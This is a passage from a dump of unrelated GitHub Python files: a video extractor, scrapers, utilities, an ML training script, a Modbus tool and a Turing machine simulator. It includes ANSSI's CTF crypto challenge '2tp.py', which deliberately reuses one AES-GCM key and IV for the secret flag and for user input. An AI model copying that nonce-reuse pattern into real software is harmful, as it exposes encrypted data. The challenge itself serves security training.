赫卡里姆',\n 'uploader': '小苍cany',\n 'duration': 744.0,\n 'timestamp': 1426269360,\n 'upload_date': '20150313',\n 'thumbnail': 'http://e3f49eaa46b57.cdn.sohucs.com//group1/M11/89/57/MTAuMTAuODguODA=/6_14cea022a1dg102SysCutcloud_78910339_8_0b.jpg',\n 'tags': ['小苍MM', '英雄联盟', '实战秘籍'],\n },\n 'playlist_mincount': 3,\n }]\n\n def _real_extract(self, url):\n encoded_id = self._match_id(url)\n path = base64.urlsafe_b64decode(encoded_id).decode()\n subdomain = 'tv' if re.match(r'\\d+/n\\d+\\.shtml', path) else 'my.tv'\n return self.url_result(urljoin(f'http://{subdomain}.sohu.com/', path), SohuIE)\n","repo_name":"yt-dlp/yt-dlp","sub_path":"yt_dlp/extractor/sohu.py","file_name":"sohu.py","file_ext":"py","file_size_in_byte":11240,"program_lang":"python","lang":"en","doc_type":"code","stars":60520,"dataset":"github-code","pt":"78"} +{"seq_id":"35805585988","text":"#!/usr/bin/python3 -u\nfrom binascii import hexlify\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC\nfrom cryptography.hazmat.primitives.ciphers.aead import AESGCM\nfrom cryptography.hazmat.backends import default_backend\nbackend = default_backend()\n\ndef derive(secret):\n # Derive the secret so we get key and IV material for AES\n kdf = PBKDF2HMAC(\n algorithm=hashes.SHA256(),\n length=48,\n salt=secret,\n iterations=100000,\n backend=backend\n )\n return kdf.derive(secret)\n\ndef encrypt(key, iv, aad, data):\n aesgcm = AESGCM(key)\n ct = aesgcm.encrypt(iv, data, aad)\n return ct\n\nif __name__ == '__main__':\n # First, retrieve the secret\n with open('key', 'rb') as f:\n secret = f.read(32)\n\n derived = derive(secret)\n key, iv, aad = derived[:16], derived[16:32], derived[32:]\n\n print(\"Welcome to our state-of-the-art encryption service!\\nWe use PBKDF2 and AES-GCM!\")\n with open('flag', 'rb') as f:\n data = f.read()\n\n flag = encrypt(key, iv, aad, data)\n print(\"As an example, here is the encrypted flag: {:s}\\n\".format(hexlify(flag).decode()))\n\n data = input(\"Now, enter your text: \")\n userct = encrypt(key, iv, aad, data.encode('utf-8'))\n print(\"Here is your ciphertext: {:s}\\n\".format(hexlify(userct).decode()))\n","repo_name":"ANSSI-FR/ctf","sub_path":"crypto-2tp/2tp.py","file_name":"2tp.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":149,"dataset":"github-code","pt":"78"} +{"seq_id":"7261944883","text":"import threading\nfrom urllib.request import Request, urlopen\nfrom .footballRegexps import *\nfrom typing import List, Optional\nfrom datetime import datetime\nimport queue\n\n\ncurYear: int = datetime.today().year if datetime.today().month > 6 else datetime.today().year - 1\nprefix1: str = \"https://www.maxifoot.fr/calendrier-ligue-1-france-\"\nprefix2: str = \"https://www.maxifoot.fr/calendrier-ligue-2-france-\"\nprefLequipe1: str = \"https://www.lequipe.fr/Football/ligue-1/\"\nprefLequipe2: str = \"https://www.lequipe.fr/Football/ligue-2/\"\nseasons: List[str] = [f\"{x}-{x+1}.htm\" for x in range(curYear - 13, curYear + 1)]\nligue1Seasons: List[str] = [f\"Calendrier ligue-1 {season[:-4]}\" for season in seasons]\nligue2Seasons: List[str] = [f\"Calendrier ligue-2 {season[:-4]}\" for season in seasons]\nlequipeLigue1Rankings: List[str] = [f\"Derniers classements ligue-1 {season[:-4]}\" for season in seasons]\nlequipeLigue2Rankings: List[str] = [f\"Derniers classements ligue-2 {season[:-4]}\" for season in seasons]\nallLigue1: List[str] = []\nallLigue2: List[str] = []\nurlsLequipeLigue1: List[str] = [\n\tf\"{prefLequipe1}saison-{season[:-4]}/page-classement-equipes/general\"\n\tfor season in seasons\n]\nurlsLequipeLigue2: List[str] = [\n\tf\"{prefLequipe2}saison-{season[:-4]}/page-classement-equipes/general\"\n\tfor season in seasons\n]\npgsLequipe1: List[str] = []\npgsLequipe2: List[str] = []\n\n\ndef readUrl(url: str, coding: str, q: Optional[queue.Queue] = None) -> Optional[str]:\n\theaders = {\"User-Agent\": \"Mozilla/5.0\"}\n\treq = Request(url=url, headers=headers)\n\tdata = urlopen(req).read().decode(coding)\n\tif not q:\n\t\treturn data\n\tq.put(data)\n\treturn None\n\n\ndef fetchLequipe(ligue: int) -> None:\n\tresult: queue.SimpleQueue = queue.SimpleQueue()\n\tres: List[str] = []\n\tif ligue == 1:\n\t\tpgsLequipe1.clear()\n\telse:\n\t\tpgsLequipe2.clear()\n\tthreads = [threading.Thread(\n\t\ttarget=readUrl,\n\t\targs=(url, \"utf-8\", result,)) for url in (\n\t\turlsLequipeLigue1 if ligue == 1\n\t\telse urlsLequipeLigue2)]\n\tfor thread in threads:\n\t\tthread.start()\n\tfor thread in threads:\n\t\tthread.join()\n\tfor i in range(result.qsize()):\n\t\tres.append(result.get_nowait())\n\tif ligue == 1:\n\t\tpgsLequipe1.extend(res)\n\telse:\n\t\tpgsLequipe2.extend(res)\n\n\nfetchLequipe(1)\nfetchLequipe(2)\npgsLequipe1.sort()\npgsLequipe2.sort()\n\nfor item in lequipeLigue1Rankings:\n\tallLigue1.append(ligue1Seasons[lequipeLigue1Rankings.index(item)])\n\tallLigue1.append(item)\n\nfor item in lequipeLigue2Rankings:\n\tallLigue2.append(ligue2Seasons[lequipeLigue2Rankings.index(item)])\n\tallLigue2.append(item)\n\n\nclass ArticlesThread(threading.Thread):\n\n\tdef __init__(self, event: threading.Event, isHtml: bool, url: str):\n\t\tthreading.Thread.__init__(self)\n\t\tself.event = event\n\t\tself.isHtml = isHtml\n\t\tself.url = url\n\t\tself._result: List[str] = []\n\n\tdef run(self):\n\t\tpg = readUrl(self.url, \"iso8859-1\")\n\t\tlst = [clean.sub(\"\", clean2.sub(\"-\", clean3.sub(\" \", x.group(1)))) for x in finditer.finditer(pg)]\n\t\tif self.isHtml:\n\t\t\tself._result.clear()\n\t\t\tlstForHtml = []\n\t\t\t[lstForHtml.extend(x.split(\"\\n\")[:-1]) for x in lst]\n\t\t\tlstForHtml = [(f\"

    {x[1:]}

    \" if x.startswith(\"^top \") else f\"

    {x}

    \") for x in lstForHtml]\n\t\t\tself._result.extend(lstForHtml)\n\t\telse:\n\t\t\tself._result.clear()\n\t\t\t[self._result.extend(x.split(\"\\n\")[:-1]) for x in lst]\n\t\tself.event.set()\n\n\t@property\n\tdef result(self):\n\t\treturn self._result\n","repo_name":"abdel792/maxiFootCalendars","sub_path":"addon/globalPlugins/footballCalendars/footballDisplay.py","file_name":"footballDisplay.py","file_ext":"py","file_size_in_byte":3321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23957556242","text":"from utils.data import OPENDATA_CAMARA_URL, CURRENT_DEPUTIES_URL, DEPUTIES_JSON_PATH\nfrom datetime import datetime, date, timedelta\nfrom bs4 import BeautifulSoup\nfrom os import path, stat\n\nimport json\nimport requests\n\nCURRENT_LEGISLATURE_URL = OPENDATA_CAMARA_URL + 'WSLegislativo.asmx/retornarLegislaturaActual'\nUTC_CHILE = -3 # UTC-3 summer time\n\ndef get_current_legislature():\n \"\"\"\n Obtains the information from the latest legislature.\n :return: Returns a dictionary containing the id of the latest legislature, and the date of end and start\n as a datetime object.\n \"\"\"\n response = requests.get(CURRENT_LEGISLATURE_URL)\n soup = BeautifulSoup(response.content, 'xml')\n\n legislature_id = int(soup.find('Id').get_text().strip())\n\n start = soup.find('FechaInicio').get_text()\n start = datetime.strptime(start, \"%Y-%m-%dT%H:%M:%S\")\n\n end = soup.find('FechaTermino').get_text()\n end = datetime.strptime(end, \"%Y-%m-%dT%H:%M:%S\")\n\n legislature = dict(id=legislature_id, start=start, end=end)\n\n return legislature\n\ndef get_number_of_deputies():\n \"\"\"\n Method used to get the total number of deputies on the current legislature.\n :return: Returns the total number of deputies as an integer.\n \"\"\"\n response = requests.get(CURRENT_DEPUTIES_URL)\n soup = BeautifulSoup(response.content, 'xml')\n\n deputies = soup.find_all('Diputado')\n return len(deputies)\n\ndef get_current_month():\n return datetime.now().month\n\ndef get_current_year():\n return datetime.now().year\n\ndef get_datetime_from_epoch(epoch):\n return datetime.fromtimestamp(epoch)\n\ndef get_datetime_from_date_and_time(date, time):\n if not time:\n return datetime(year=date.year, month=date.month, day=date.day, hour=get_hrs_diff(), minute=0)\n return datetime(\n year=date.year, month=date.month, day=date.day,\n hour=time.hour, minute=time.minute\n )\n\ndef get_hrs_diff():\n \"\"\"\n Gets the difference between the local time and the UTC time.\n :return: Returns the difference in hours as an integer.\n \"\"\"\n dt_utc = datetime.utcnow()\n dt_local = datetime.now()\n\n return (dt_local.hour - dt_utc.hour - UTC_CHILE) % 24\n\ndef get_today_timestamp():\n \"\"\"\n Gets the timestamp for today at 00:00:00 UTC-3.\n :return: timestamp.\n \"\"\"\n dt_utc = datetime.utcnow()\n dt_local = datetime.now()\n\n today_pulse = dt_utc.day > dt_local.day or (\n dt_utc.day == dt_local.day and dt_utc.hour >= (-UTC_CHILE)\n )\n\n today = date.today() if today_pulse else date.today() - timedelta(days=1)\n\n [year, month, day] = str(today).split('-')\n timestamp = datetime(year=int(year), month=int(month), day=int(day), hour=get_hrs_diff(), minute=0)\n\n return timestamp\n\n\ndef get_json_data(file_path=DEPUTIES_JSON_PATH):\n \"\"\"\n Returns an ordered list of dictionaries containing the date, index from the deputies list and the beacon id,\n ordered according to the date.\n :return:\n \"\"\" \n if path.exists(file_path) and stat(file_path).st_size != 0:\n with open(file_path, 'r', encoding='utf-8') as infile:\n try:\n json_data = json.load(infile)\n return json_data\n except (json.decoder.JSONDecodeError, ValueError) as err:\n print(err)\n return None\n return None\n\n\ndef showSummary(profile, datetime, chainId, pulseId):\n pulseUri = f\"https://random.uchile.cl/beacon/2.1-beta/chain/{chainId}/pulse/{pulseId}\"\n print(\"----------------------------------------\")\n print(\"Resultados para el día\", datetime.strftime(\"%d/%m/%Y\"))\n print(\"Diputado Escogido:\", profile['first_name'], profile['first_surname'])\n print(\"Partido:\", profile['party'])\n print(\"Región:\", profile['district_region'])\n print(\"Distrito:\", profile['district'])\n print(\"Elegido en base al pulso:\", pulseUri)\n print(\"----------------------------------------\")\n","repo_name":"clcert/beacon-politicians-app","sub_path":"backend/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4904337353","text":"#!/usr/bin/env python\n\nimport argparse, os, pysam, sys\nfrom Bio.Seq import Seq\n\n# Parse arguments\nparser = argparse.ArgumentParser(description='Extract bases with four fold degeneracy from input fasta and genePred annotation of reference species, informed by conserved amino acids in other species using input MAF alignment with the reference species on top.')\nparser.add_argument(\"-v\", \"--version\", action='version', version='%(prog)s 1.0')\nrequired = parser.add_argument_group('required arguments')\nrequired.add_argument(\"fasta\", help=\"input fasta file\", type=str)\nrequired.add_argument(\"genepred\", help=\"input genepred file\", type=str)\nrequired.add_argument(\"maf\", help=\"input maf file\", type=str)\nrequired.add_argument(\"species\", help=\"comma-separated list of maf species with reference species first\", type=str)\nargs = parser.parse_args()\n\n# Get list of species\nspecies_list = [str(item) for item in args.species.split(',')]\n\n# Define fourfold degenerate site codons\nfourfold_deg = [\"CTT\", \"CTA\", \"CTG\", \"CTC\", \"GTT\", \"GTC\", \"GTA\", \"GTG\", \"TCT\", \"TCC\", \"TCA\", \"TCG\", \"CCT\", \"CCC\", \"CCA\", \"CCG\", \"ACT\", \"ACC\", \"ACA\", \"ACG\", \"GCT\", \"GCC\", \"GCA\", \"GCG\", \"CGT\", \"CGC\", \"CGA\", \"CGG\", \"GGT\", \"GGC\", \"GGA\", \"GGG\"]\n\n# Import reference fasta file\nfai = {}\nwith pysam.FastxFile(args.fasta) as fg:\n for entry in fg:\n fai[entry.name] = entry.sequence\n\n# Import genepred file and extract 4D codon locations\nfourDsite = {}\nfor entry in open(args.genepred,'r'):\n entry = entry.rstrip().split('\\t')\n strand = entry[2]\n start = entry[8].split(',')\n end = entry[9].split(',')\n # Extract CDS bases and locations\n for i in range(0,int(entry[7])):\n CDS = fai[entry[1]][int(start[i]):int(end[i])] # Get CDS bases\n sites = []\n for j in range(int(start[i]),int(end[i])): # Get CDS locations\n sites.append(j)\n # Parse through each codon in the CDS beginning with exon frame offset\n for k in range(int(entry[14].split(',')[0]),len(CDS),3):\n if k+3 >= len(CDS): # Skip ending sequence that doesn't form a 3 base codon\n continue\n elif sites[k+3] - sites[k] != 3: # Skip codons spanning introns\n continue\n elif strand == '+' and CDS[k:k+3].upper() in fourfold_deg:\n fourDsite[entry[1]+':'+str(sites[k])] = '+'\n elif strand == '-' and str(Seq(CDS[k:k+3]).reverse_complement()).upper() in fourfold_deg:\n fourDsite[entry[1]+':'+str(sites[k])] = '-'\n\n# Set blank dictionary for final set of 4D bases\nfinal = {}\nfor species in species_list:\n final[species] = ''\n\n# Set empty variables\ndef blank():\n src = False\n start = False\n all_seq = {}\n return src,start,all_seq\n \n# Import maf file and identify conserved 4D codons\nheader = False\nsrc,start,all_seq = blank()\nfor line in open(args.maf,'r'):\n if line.startswith('#'): # Skip header lines\n header = True\n elif header and not line.split():\n header = False\n elif line.startswith('a'):\n header = False\n elif line.startswith('s'): # Parse through each block and record species names/sequences as well as top (ref) species src/start site\n line = line.rstrip().split()\n if line[1].split('.')[0] == species_list[0]: # Top (ref) species\n src = line[1]\n start = int(line[2])\n all_seq[species_list[0]] = line[6]\n else: # All other species \n all_seq[line[1].split('.')[0]] = line[6]\n# elif len(all_seq) == 1: # Skip blocks with only one (presumably ref) species\n# sys.stderr.write('ERROR: Skipping block with sequence '+'\\t'.join(all_seq)+' due to only having one species.\\n')\n# src,start,all_seq = blank()\n elif species_list[0] not in all_seq: # Skip block without ref species\n sys.stderr.write('ERROR: Skipping block with sequence '+'\\t'.join(all_seq)+' due to missing reference.\\n')\n src,start,all_seq = blank()\n else:\n for i in range(0,len(all_seq[species_list[0]])): # For base in ref sequence\n if all_seq[species_list[0]][i] == '-': # Exclude sites where ref is a gap\n start -= 1\n elif src+':'+str(start+i) in fourDsite: # Select 4D codons\n sites = []\n for j in range(i,len(all_seq[src.split('.')[0]])): # Remove gaps in next ref sequence\n if len(sites) == 3: # If sites for three bases are identified\n break\n elif all_seq[species_list[0]][j] != '-': # Skip sites with gaps in ref\n sites.append(j)\n conserved = True\n codon = {}\n for species in species_list:\n if species in all_seq: # Only look at species with sequences\n codon[species] = ''\n for k in sites: # Get codon after removing ref seq gaps\n codon[species] += all_seq[species][k:k+1].upper()\n if fourDsite[src+':'+str(start+i)] == '-': # Reverse complement if negative strand\n codon[species] = str(Seq(codon[species]).reverse_complement())\n if codon[species] not in fourfold_deg or Seq(codon[species]).translate() != Seq(codon[species_list[0]]).translate(): # Check for codon being 4D with conserved amino acid\n conserved = False\n if conserved: # Only keep 4D codons with conserved amino acid\n for species in species_list:\n if species in codon: # Save 4D base for species with data\n final[species] += codon[species][-1]\n else: # Save blank for species without data\n final[species] += '*'\n src,start,all_seq = blank()\n\n# Write out final aligned fasta output\nfor species in species_list:\n sys.stdout.write('>'+species+'\\n'+''.join(final[species])+'\\n')\n","repo_name":"abmudd/Assembly","sub_path":"Extract4DSites/4Dextract.py","file_name":"4Dextract.py","file_ext":"py","file_size_in_byte":5996,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"31710155204","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Feb 6 11:29:52 2022\n\n@author: andre\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential, Model\nfrom tensorflow.keras.layers import Conv2D, TimeDistributed,Dropout,Input, Dense,\\\n BatchNormalization, GRU, Layer, Flatten\nfrom tensorflow.keras.regularizers import l2\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.callbacks import ModelCheckpoint\nfrom sklearn.model_selection import train_test_split\nfrom datetime import datetime\nfrom sklearn import metrics\nfrom scipy.io import wavfile\nimport os\nimport glob\n\n\n# Load in Right Side .WAV Data.\nX1 = []\ncount1 = 0\ndatabase_path = \"C:\\\\Users\\\\andre\\\\OneDrive\\\\Documents\\\\ESI2022\\\\MLDatabases\\\\Right\\\\\"\nfor filename in glob.glob(os.path.join(database_path, '*.wav')):\n X1.append(wavfile.read(filename)[1])\n count1 = count1 + 1\n\n# Load in Left side .WAV Data.\nX2 = [] \ncount2 = 0\ndatabase_path2 = \"C:\\\\Users\\\\andre\\\\OneDrive\\\\Documents\\\\ESI2022\\\\MLDatabases\\\\Right\\\\\"\nfor filename2 in glob.glob(os.path.join(database_path2, '*.wav')):\n X2.append(wavfile.read(filename2)[1])\n count2 = count2 + 1 \n\n# Get the smallest size audio file (this will be sample size input to model)\nsample_size = len(X1[0])\nfor data in X1:\n if len(data) < sample_size:\n sample_size = len(data)\n\n# Make audio data into equal size chunks\nX1e = []\nfor i in X1:\n num_chunks = len(i)//sample_size\n for j in range(num_chunks):\n X1e.append(i[(j+1)*sample_size-sample_size:(j+1)*sample_size])\nX1 = X1e\n \nX2e = []\nfor i in X2:\n num_chunks = len(i)//sample_size\n for j in range(num_chunks):\n X2e.append(i[(j+1)*sample_size-sample_size:(j+1)*sample_size]) \nX2=X2e \n\ndel X1e\ndel X2e \n\n# Create Output data that is the same length as the input data.\nY1 = np.ones([X1.__len__()],dtype='float32').tolist()\nY2 = np.zeros([X2.__len__()],dtype='float32').tolist()\n\n\n# Concatenate Left and Right .WAV data and output data as numpy arrays.\nX1.extend(X2)\nX = np.asarray(X1)\nY = np.asarray(Y1+Y2).astype(np.int16)\n\n#X=list(X)\n#Y=list(Y)\n\n# Split data into test training data.\nX_train,X_test,Y_train,Y_test=train_test_split(X,Y,test_size=0.2,random_state=0,shuffle=True)\n\n''' \nprint(X[1]) \ntime = np.linspace(0.,33792, 33792)\nplt.plot(time, X[1][:,1], label=\"Left channel\")\nplt.plot(time, X[1][:,0], label=\"Right channel\")\nplt.legend()\nplt.xlabel(\"Time [s]\")\nplt.ylabel(\"Amplitude\")\nplt.show()\n'''\n\ndef nn(shape_1,shape_2):\n input = Input(shape=[shape_1,shape_2,2,1])\n\n conv1 = TimeDistributed(Conv2D(filters=32, kernel_size=[32,1], activation='relu',strides =(3,1)))(input)\n batch1 = TimeDistributed(BatchNormalization())(conv1)\n\n conv2 = TimeDistributed(Conv2D(filters=32, kernel_size=[32,1], activation='relu',strides =(2,1)))(batch1)\n batch2 = TimeDistributed(BatchNormalization())(conv2)\n\n conv3 = TimeDistributed(Conv2D(filters=32, kernel_size=[32,1], activation='relu',strides =(2,1)))(batch2)\n batch3 = TimeDistributed(BatchNormalization())(conv3)\n\n conv4 = TimeDistributed(Conv2D(filters=32, kernel_size=[32,1], activation='relu',strides =(2,1)))(batch3)\n batch4 = TimeDistributed(BatchNormalization())(conv4)\n\n flat = TimeDistributed(Flatten())(batch4)\n\n\n gru1 = GRU(256, activation='relu',return_sequences=True, kernel_regularizer=l2(0.01))(flat)\n drop1 = Dropout(rate=0.4)(gru1)\n batch1 = BatchNormalization()(drop1)\n\n gru2 = GRU(128, activation='relu',return_sequences=True, kernel_regularizer=l2(0.01))(batch1)\n drop2 = Dropout(rate=0.4)(gru2)\n batch2 = BatchNormalization()(drop2)\n\n\n dense = TimeDistributed(Dense(2, activation='softmax'),name = 'output')(batch2)\n\n\n return [input], [dense]\n\n# Define Training Parameters\nEPOCH_LENGTH = 30\nSAMPLE_RATE = 44100\nNUM_BATCH_SIZE = 1\n\ninput, output = nn(1,sample_size)\nmodel = Model(inputs=input,outputs=output)\n\noptimizer = Adam(learning_rate=2*1e-4)\n\n# Compile Model\nmodel.compile(optimizer=optimizer, loss={\n 'output': 'sparse_categorical_crossentropy', },\n metrics={\n 'output': 'sparse_categorical_accuracy', },\n sample_weight_mode='temporal')\nmodel.summary()\n\n\n# Save the most accurate model to file. (Verbosity Gives more information)\ncheckpointer = ModelCheckpoint(filepath=\"SavedModels/checkpointModel.hdf5\", verbose=1,save_best_only=True)\n\n# Start the timer\nstart = datetime.now()\n\n# Train the model\nmodel.fit(X_train,Y_train,batch_size=NUM_BATCH_SIZE, epochs=EPOCH_LENGTH, validation_data=(X_test,Y_test), callbacks=[checkpointer],verbose=1)\n\n# Get and Print Model Validation Accuracy\ntest_accuracy=model.evaluate(X_test,Y_test,verbose=0)\nprint(test_accuracy[1])\n","repo_name":"Andrew123098/ESI2022ML","sub_path":"BeltML/TimeDistributedTest.py","file_name":"TimeDistributedTest.py","file_ext":"py","file_size_in_byte":4753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4143540790","text":"import json\nimport sys\n\nCOLOR_DRAW = \"black\"\nCOLOR_CUT = \"red\"\nCOLOR = \"@@@\"\nEND_LEVEL_FILE = \"m.geojson\"\n\n# compute size with bbox\nf = open(sys.argv[2], 'r')\nbbox = f.read()\n\nlevels_string = sys.argv[3]\n\nleft, bottom, right, top = bbox.split('|')\nlevels = levels_string.split('|')\nfor level in levels:\n level = int(level)\n\nx = float(left)\ny = float(top)\nres = 1000 / (float(right) - float(left))\n\nSVG_START = ''\nSVG_END = ''\n\nNB_DECIMALS = 2\nfloat_format = \"{0:.\" + str(NB_DECIMALS) + \"f}\"\n\n# Read file with limit (polygon file)\nwith open(sys.argv[1]) as json_data:\n data = json.load(json_data)\n\n# Check polygon : nb >4 and first= last and type=polygon\n\nlimit = ''\nlimit_draw = limit + '\" stroke=\"' + COLOR_DRAW + '\" fill=\"transparent\" stroke-linecap=\"round\"/>'\n\nsvg_levels = {}\n\n# loop for levels\nfor level in levels:\n level_file = level + END_LEVEL_FILE\n with open(level_file) as json_data:\n data = json.load(json_data)\n\n svg_string = \"\"\n for lines in data[\"features\"]:\n svg_string += ''\n svg_levels[level] = svg_string\n\n# Create svg files with 3 layers.\n\n# Fisrt SVG: draw limit\nsvg = SVG_START + limit_draw\nsvg += svg_levels[levels[0]].replace(COLOR, COLOR_DRAW)\nsvg += SVG_END\nout = open(\"0m.svg\", \"w\")\nout.write(svg)\nout.close()\n\nfor i in range(0, len(levels)):\n svg_file = levels[i] + \"m.svg\"\n out = open(svg_file, \"w\")\n svg = SVG_START + limit_cut\n svg += svg_levels[levels[i]].replace(COLOR, COLOR_CUT)\n if (i != (len(levels) - 1)):\n svg += svg_levels[levels[i+1]].replace(COLOR, COLOR_DRAW)\n svg += SVG_END\n out.write(svg)\n out.close()\n\n# Create a SVG file with all levels\nsvg_file = \"all.svg\"\nout = open(svg_file, \"w\")\nsvg = SVG_START + limit_cut\nfor i in range(0, len(levels)):\n svg += svg_levels[levels[i]].replace(COLOR, COLOR_CUT)\nsvg += SVG_END\nout.write(svg)\nout.close()\n","repo_name":"brelevenix/DEM2SVG","sub_path":"geojson2svg.py","file_name":"geojson2svg.py","file_ext":"py","file_size_in_byte":2956,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"31184935258","text":"# mbw_pm.py - using pymodbus in serial mode to read and write modbus command.\n# both for Windows and Linux environment. ITvilla 2014\n# parameters for reading: mba regadd count port\n# parameters for writing (1 or 2 consecutive registers): mba regadd hexdata port\n''' Test program to communicate with a modbus slave using ModbusRTU protocol over serial or over TCP '''\n\nimport sys\nfrom pymodbus.client.sync import ModbusSerialClient as ModbusClient # using serial modbusRTU\n\ncmd = 0\n\nargnum = len(sys.argv)\nif argnum < 4:\n print('use arguments: mba regadd count_or_datahex host:port_or_port')\n exit()\n\nmba = int(sys.argv[1]) # mb aadress\nregaddr = int(sys.argv[2]) # address to read or hex data to write\nport = sys.argv[4]\n\nclient = ModbusClient(method='rtu', stopbits=1, bytesize=8, parity='E', baudrate=19200, timeout=1, port=port)\n\nif len(sys.argv[3]) == 4: # write 1 register\n regcount = int(sys.argv[3], 16) # data, hex kujul\n # print('writing single register data', regcount)\n cmd = 6\nelse:\n if len(sys.argv[3]) < 3:\n regcount = int(sys.argv[3])\n cmd = 3\n else:\n print('invalid length ' + str(len(sys.argv[3])) + ' for parameter 3!')\n\noutput = ''\n\nif cmd == 3: # read holding registers\n for i in range(3):\n result = client.read_holding_registers(address=regaddr, count=regcount, unit=mba) # response='' # pymodbus\n temps = result.registers\n\n if len(temps) == 3:\n temp1 = temps[0] * 5 / 80.0\n temp2 = temps[1] * 5 / 80.0\n temp3 = temps[2] * 5 / 80.0\n avg_temp = (temp1 + temp2 + temp3) / 3\n print(avg_temp)\n else:\n print(temps[0] * 5 / 80.0)\n\n\nelif cmd == 6: # kirjutamine, 1 register\n client.write_register(address=regaddr, value=regcount, unit=mba) # only one regiter to write here\n if regcount == 65535:\n print(\"Device turned on\")\n else:\n print(\"Device turned off\")\n\nelse:\n print('failure, unknown function code', cmd)\n","repo_name":"mihkel26/Suvepraktika-2.ryhm","sub_path":"main/python/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19442800186","text":"#!/Library/Frameworks/Python.framework/Versions/3.5/bin/python3\n# Kata from https://www.codewars.com/kata/your-ride-is-here/python\n# Just a fun one that I liked. My solution was pretty bad compared to the others.\ndef ride(group,comet):\n abc = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n gnum = 1\n cnum = 1\n for c in group:\n gnum *= (abc.index(c)+1)\n for c in comet:\n cnum *= (abc.index(c)+1)\n if cnum%47 == gnum%47:\n return \"GO\"\n return \"STAY\"\n","repo_name":"chaoticgeek/codewars-solutions","sub_path":"6kyu/your_ride_is_here.py","file_name":"your_ride_is_here.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41483121569","text":"\"\"\"\n Main\n\"\"\"\n\nimport Sender\nimport pyaudio\n\n\np = pyaudio.PyAudio()\nstream = p.open(format=pyaudio.paFloat32, channels=1, rate=44100, output=1)\n\ns = Sender.SenderObj(stream)\n\ns.send(msg='0100101')\n\nstream.close()","repo_name":"Ansh743/dvhan_DOS","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16302911072","text":"import csv\n\n#Função para encontrar o estado de início correto \ndef percorre():\n i=0\n aux=0\n while (lista[i]) == '_':\n i=i+1\n aux=i \n \n for x in range(len(estados)):\n if estados[x] == 'inic' and str(lido[x]) == str(lista[i]):\n return x,i,aux \n\n#Função para percorrer os índices\ndef indice(a,j):\n for x in range(len(estados)):\n if estados[x] == a and lido[x] == lista[j]: \n return x\n \n#Função para computar a MT \ndef turing(a,j,aux): \n print(lista) \n accept = 'halt-accept'\n \n if str(vai[int(a)]) != str(accept): \n if str(lido[int(a)]) == str(lista[j]):\n lista[j] = escrito[int(a)] \n if direcao[int(a)] == 'r':\n j=j+1\n if j <= tam//2:\n salvar.append([int(a), lido[a], escrito[a], 'l', vai[a]])\n lista.insert(0,\"_\")\n lista.pop() \n for w in range(1,len(lista)):\n if lista[-w] == '_':\n pass\n else: break\n for z in range (w,len(lista),1):\n if lista[-z] == salvar[-1][1]:\n lista[-z] = salvar[-1][2]\n sequencia.append(salvar[-1])\n if turing(salvar[-1][0],len(lista)-z,aux) :\n return True\n aux = j+1\n aux = j \n a = indice(vai[a],aux)\n sequencia.append([estados[a], lido[a], escrito[a], direcao[a], vai[a]])\n if turing(a, j,aux):\n return True\n \n elif direcao[int(a)] == 'l':\n j=j-1\n if j <= tam//2:\n salvar.append([int(a), lido[a], escrito[a], 'l', vai[a]])\n lista.insert(0,\"_\")\n lista.pop()\n for w in range(1,len(lista)):\n if lista[-w] == '_':\n pass\n else: break\n for z in range (w,len(lista),1):\n if lista[-z] == salvar[-1][1]:\n lista[-z] = salvar[-1][2] \n sequencia.append(salvar[-1])\n if turing(salvar[-1][0],len(lista)-z,aux):\n return True \n aux=j\n a = indice(vai[a],aux)\n sequencia.append([estados[a], lido[a], escrito[a], direcao[a], vai[a]])\n if turing(a, j,aux):\n return True \n \n elif direcao[int(a)] == '*':\n if j <= tam//2:\n salvar.append([int(a), lido[a], escrito[a], 'l', vai[a]])\n lista.insert(0,\"_\")\n lista.pop()\n for w in range(1,len(lista)):\n if lista[-w] == '_':\n pass\n else: break\n for z in range (w,len(lista),1):\n if lista[-z] == salvar[-1][1]:\n lista[-z] = salvar[-1][2] \n sequencia.append(salvar[-1])\n if turing(salvar[-1][0],len(lista)-z,aux):\n return True\n aux = j+1 \n aux=j\n a = indice(vai[a],aux)\n sequencia.append([estados[a], lido[a], escrito[a], direcao[a], vai[a]])\n if turing(a, j,aux):\n return True \n else: \n return False \n return True\n \n \nif __name__==\"__main__\": \n\n #Cria listas\n estados = []\n lido = []\n escrito = []\n direcao = []\n vai = [] \n salvar = []\n sequencia = []\n configuracao_final = []\n\n#Lê arquivo .in com csv\n#sameamount10\n with open('sameamount10.in') as csv_file:\n entrada = csv.reader(csv_file, delimiter=' ')\n for linha in entrada:\n estados.append(linha[0])\n lido.append(linha[1])\n escrito.append(linha[2])\n direcao.append(linha[3])\n vai.append(linha[4])\n \n #Muda nome do estado '0'\n for y in range(len(estados)):\n if estados[y] == '0':\n estados[y] = 'inic'\n if vai[y] == '0':\n vai[y] = 'inic'\n \n #Insere o input da fita, criando uma fita \"infinita\" com a variável tam \n tam = 14\n lista = ['_' for i in range (tam)]\n lista.insert(tam//2,'1')\n lista.insert(1+tam//2,'0')\n 